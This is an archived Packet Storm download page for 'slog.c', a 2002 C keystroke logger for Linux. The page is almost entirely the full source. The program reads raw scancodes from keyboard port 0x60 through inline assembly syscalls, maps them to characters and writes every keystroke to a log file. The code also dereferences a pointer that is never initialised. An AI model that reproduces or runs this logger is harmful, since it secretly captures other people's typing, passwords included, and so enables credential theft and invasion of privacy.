exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

slog.c

slog.c
Posted Sep 5, 2002
Authored by Slacko

Slog.c is a simple linux keystroke logger without function hooking. Tested on Redhat 7.2.

systems | linux, redhat
SHA-256 | 2c78e3a0f9e7cb2423fb65dd3e528fdf1b352a5d5ff0278632bb6128b7e40069

slog.c

Change Mirror Download
/* A simple linux key logger      */
/* without function hooking */
/* tested on Redhat 7.2 */
/* by SLACKo slacko@mail.ru */
#define KeyPort 0x60
#include<time.h>
#include<sys/types.h>
#include<fcntl.h>
#include<stdio.h>
int main(int argc,char **argv) {
struct timespec *whatever;
int n=0,c=0;
int fd;
if(argc < 2) {
fprintf(stderr,"Usage : ./vlog <logfile>\n");
exit(1);
}
if((fd = open(argv[1],O_CREAT|O_WRONLY|O_TRUNC)) == -1) {
perror("open()");
exit(1);
}
asm("int $0x80;": :"a"(101),"b"(KeyPort),"c"(1),"d"(1));
whatever->tv_sec = 0;
whatever->tv_nsec = 20;
while(1) {
c = n;
asm("inb %%dx,%%al;":"=a"(n):"a"(0),"d"(KeyPort));

switch(n) {
case(2) : n = '1' ;break;case(3) : n = '2';break;
case(4) : n = '3' ;break;case(5) : n = '4';break;
case(6) : n = '5' ;break;case(7) : n = '6';break;
case(8) : n = '7' ;break;case(9) : n = '8';break;
case(10) : n = '9' ;break;case(11) : n = '0';break;
case(12) : n = '-' ;break;case(13) : n = '+';break;
case(14) : n = '\b';break;case(16) : n = 'q';break;
case(17) : n = 'w' ;break;case(18) : n = 'e';break;
case(19) : n = 'r' ;break;case(20) : n = 't';break;
case(21) : n = 'y' ;break;case(22) : n = 'u';break;
case(23) : n = 'i' ;break;case(24) : n = 'o';break;
case(25) : n = 'p' ;break;case(26) : n = '[';break;
case(27) : n = ']' ;break;case(28) : n = '\n';break;
case(30) : n = 'a' ;break;case(31) : n = 's';break;
case(32) : n = 'd' ;break;case(33) : n = 'f';break;
case(34) : n = 'g' ;break;case(35) : n = 'h';break;
case(36) : n = 'j' ;break;case(37) : n = 'k';break;
case(38) : n = 'l' ;break;case(39) : n = ';';break;
case(40) : n = 39 ;break;case(41) : n = 96 ;break;
case(43) : n = 92 ;break;case(44) : n = 'z';break;
case(45) : n = 'x' ;break;case(46) : n = 'c';break;
case(47) : n = 'v' ;break;case(48) : n = 'b';break;
case(49) : n = 'n' ;break;case(50) : n = 'm';break;
case(51) : n = 180 ;break;case(52) : n = 46 ;break;
case(53) : n = '/' ;break;case(57) : n = 32 ;break;
default : n = 0 ;break;

}
if(n != c)
write(fd,&n,1);
asm("int $0x80"::"a"(162),"b"(whatever),"c"(0));
}
close(fd);
}



Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close